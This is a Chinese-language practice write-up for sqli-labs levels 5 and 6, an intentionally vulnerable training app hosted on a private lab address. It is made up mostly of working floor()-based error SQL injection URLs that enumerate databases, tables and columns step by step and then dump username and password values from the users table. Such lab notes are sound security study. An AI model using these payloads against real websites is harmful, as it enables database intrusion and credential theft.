sqli-labs练习（第五、六关）
第五关
这一关，当输入正确的id时，会输出 You are in……，而输入错误的则什么都没有，只有个welcome。
当使用"闭合时，没问题
当使用'时，提示SQL语法中有错误
有sql语法错误，于是想到了报错注入（floor报错、updatexml报错、ExtractValue报错） 这里用到了floor()报错：
http://172.16.11.222/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a) --+
其中payload就是你要插入的SQL语句
count(*)：函数返回给定选择中被选的函数 concat()：连接字符串,比如 concat(‘a’,’b’) 就是ab floor()：向下取整 rand()：随机数函数 rand(0)：伪随机数，生成的随机数有规律 floor(rand(0)*2) ：生成的随机数存在规律0110110011101 group_concat()函数的作用：将返回信息拼接成一行显示
Select concat((select database())); 执行的时候，先从子查询进行。因此先执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。
floor报错注入满足的条件是数据库中要查询的数据至少3条以上
查询库名
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
提示说输出信息超过一行，说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位)，要用limit 来一个个输出
1、limit 0,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出了名为information_schema的数据库
2、limit 1,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出了名为challenges的数据库
3、limit 2,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出来名为mysql的数据库
4、limit 3,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出来名为performance_schema的数据库
5、limit 4,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
查出来名为security的数据库 然后是limit 5,1 ，是名为test的数据库
直到limit 6,1，不报错.说明只有6条数据库
但是
在网上看到下面这条命令，能一步到位找到名为security的数据库
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
对这个还不是很理解，所以不知道为啥可以…………
查询表名
这里利用security库，在limit 3,1里找到了users表
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查询字段
下面查询users表里的字段
limit 0,1 是id
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
limit 1,1 是username
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
limit 2,1 是password
http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
查询username、password字段的值
同样 limit 0,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+
limit 1,1
http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)--+
………………………… ………………………… limit n,1
第六关
与第五关同样操作，不过单引号换成了双引号